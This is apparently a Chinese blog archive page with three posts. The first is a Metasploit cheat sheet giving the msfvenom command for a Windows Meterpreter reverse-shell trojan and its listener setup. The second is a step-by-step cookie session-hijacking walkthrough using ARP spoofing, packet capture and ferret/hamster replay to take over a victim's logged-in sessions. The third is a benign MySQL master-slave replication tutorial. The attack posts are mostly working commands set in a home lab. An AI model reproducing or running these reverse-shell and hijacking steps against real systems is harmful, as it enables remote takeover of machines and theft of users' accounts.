Date Archives

六月 2018

metasploit 命令集

  • 创建exe木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT=4444 -f exe -o zhzy.exe

-p   指定PAYLOAD攻击荷载

-f    生成文件格式

-o   生成文件名

LHOST  要反弹的IP地址

LPORT  反弹接收端口

  • 建立链接

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.43.95
LHOST => 192.168.43.95
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit

模块分类

  • 辅助模块(Aux)
  • 渗透攻击模块(Exploits)
    • 主动渗透攻击
    • 被动渗透攻击
  • 后渗透攻击模块(Post)
  • 攻击载荷模块(Payloads)
    • 独立(Singles)
    • 传输器(Stager)
    • 传输体(Stage)
  • 空指令模块(Nops)
  • 编码器模块(Encoders)

 

Cookie 会话劫持,进行重放攻击

测试环境

操作系统 IP地址
  操作机   Kali Linux 2018 192.168.43.95
  目标机   Windows 10 192.168.43.195

什么是Cookie !

Cookie的诞生多是为了弥补http 无状态协议的不足,Cookie本身只是服务器存储在用户端的一段数据,这段数据会记录着会话的状态。这其中包含很多,比如用户的登录状态,你一定会发现登录过某个网站之后下次重现打开这个网站,你的账户会仍然是登录的状态(类似与虚拟机中的快照),实际上这就是Cookie的功劳

因为Cookie本身只是一段数据,既然它存储在用户端可以使用,那么如果把它拿出来放到另一台计算机上,实际上同样可以回复某个会话状态,在如果某个会话状态中存在已经登录成功的账户,那么我们就可以使用这个Cookie进行重放攻击(如果你在看这篇文章相信不用在多解释cookie的原理)

会话劫持

1. 对目标及进行ARP欺骗以抓取流量

root@kali:~$ echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~$ arpspoof -i wlan0 -t 192.168.43.195 -r 192.168.43.1

进行ARP欺骗,让43.195 的所有流量经过自己的主机去上网,这里43.1 是局域网的网关

2. 使用 wireshark 抓取数据

抓包的时间尽量长一些内容会多,7-10分钟就可以了

注意最后保存的格式不要错,现在我们在/root 下有一个“cookie.pcap”的文件,我们所需要的cookie 也在这个文件里边

重放会话

1. 安装ferret

root@kali:~$ dpkg --add-architecture i386 
root@kali:~$ apt-get update 
root@kali:~$ apt-get install ferret-sidejack:i386

2. 生成hamster.txt

root@kali:~$ ferret -r cookie.pcap

3. 开启hamster 服务

4. 访问hamster页面

将自己的浏览器手动配置代理,具体参数如上图,IP: 127.0.0.1 ,端口:1234

选中几个页面打开,能发现已经是登录成功的状态了

Mysql集群存储,主从复制和读写分离

部署环境

系统 地址 版本
  MASTER   CentOS 6.7 192.168.1.1 Mysql 5.1.73
  SLAVE CentOS 6,7 192.168.1.2 Mysql 5.1.73

MASTER主服务器配置

1. 安装并登陆 mysql ,如果登录时有“ERROR 1045 (28000):”报错请点击这里解决

[root@zhzy ~]$ yum install mysqld
[root@zhzy ~]$ mysql -u root -p

2. 创建需要同步的数据库,这里我创建了zhzy 数据库

mysql> create database zhzy;

3. 推出数据库修改 /etc/my.cnf 以支持主从复制

[root@zhzy ~]$ vim /etc/my.cnf
[mysqld]  ##在此字段下添加
server-id=1
log-bin=zhzy-bin
log-slave-updates=1
binlog-do-db=zhzy
  • server-id=1                   ##服务器ID,从服务器(SLAVE)必须比主服务器(MASTER)高
  • log-bin=zhzy-bin        ##开启二进制日志,保存的文件名称为 zhzy-bin
  • log-slave-updates=1   ##使从服务器(SLAVE)跟新上述文件
  • binlog-do-db=zhzy     ##要同步的数据库,这里我同步zhzy

修改过配置文件后一定重启才能生效: service mysqld restart

5. 在master上为slave添加同步帐号

mysql> grant replication slave on *.* to 'user'@'192.168.1.2' identified by '123456';
mysql> flush  privileges;

6. 查看MASTER日志

mysql> show master status;
+----------------+----------+--------------+------------------+
| File           | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+----------------+----------+--------------+------------------+
| zhzy-bin.000001|      509 | zhzy         |                  |
+----------------+----------+--------------+------------------+
1 row in set (0.00 sec)

SLAVE从服务器配置

1. 修改配置文件

server-id=2
log-bin= zhzy-bin
relay-log= mysql-relay-bin
read-only=1
log-slave-updates=1
replicate-do-db=zhzy
  • server-id=2                    ##需要大于master
  • log-bin= zhzy-bin         ##二进制文件,需要和上述同名
  • replicate-do-db=zhzy  ##想要同步那个库

修改过配置文件后一定重启才能生效: service mysqld restart

2. 在slave测试连接

[root@zhzy ~]$ mysql -uuser -h192.168.1.1 -p123456
mysql> show grants for user@192.168.1.2;
+-----------------------------------------------------------------------------------+
|Grants for repl@192.168.1.2                                                        |
+-----------------------------------------------------------------------------------+
|GRANT REPLICATION SLAVE ON *.* TO 'user'@'192.168.1.2' IDENTIFIED BY PASSWORD '**' |
+-----------------------------------------------------------------------------------+
1 row in set (0.00 sec)

看到这样的信息证明连接成功

3. 配置从服务器(SLAVE)复制

CHANGE MASTER TO
MASTER_HOST='192.168.1.1',
MASTER_USER='user',
MASTER_PASSWORD='123456',
MASTER_PORT=3306,
MASTER_LOG_FILE='zhzy-bin.000001',
MASTER_LOG_POS=509,
  • MASTER_HOST=’192.168.1.1′,                      ##master的地址
  • MASTER_USER=’user’,                                  ##登录用户名
  • MASTER_PASSWORD=’123456′,                 ##登录密码
  • MASTER_LOG_FILE=’zhzy-bin.000001′, ##从master的 “show master status;” 看到这个文件名
  • MASTER_LOG_POS=509,                             ##从master的 “show master status;” 看到这个值
mysql> start slave;

开启slave

4. 查看slave是否正常

mysql> show slave status \G
******************* 1.row *********************
Slave_IO_Running: YES
Slave_SQL_Running: YES

只要保证红色部分是YES就证明同步已经建立了

!!! 因为同步的是master的zhzy库,但是slave并没有zhzy库,所以无法同步,我踩的大坑!!!

所以只要在slave创建zhzy库就行,然后在master的zhzy中新建表,这时候slave的zhzy库里才能同步到这些表

5. 保证slave同步不会出错(日志文件zhzy-bin的变化会导致其无法同步)

mysql> stop slave;
mysql> set global sql_slave_skip_counter =1;
mysql> start slave;
mysql> show slave status \G

测试主从复制效果

1. 在master的zhzy库中新建表

mysql> use zhzy;
Database changed
mysql> create table test(id int,name char(10));
Query OK, 0 rows affected (0.00 sec)
mysql> insert into test values(1,'aaa');

2. 进入slave的库中查看是否同步表

mysql> use zhzy;
Database changed
mysql> show tables;
+----------------+
| Tables_in_zhzy |
+----------------+
| test           |
+----------------+
1 row in set (0.00 sec)

到这里就能看到同步的效果了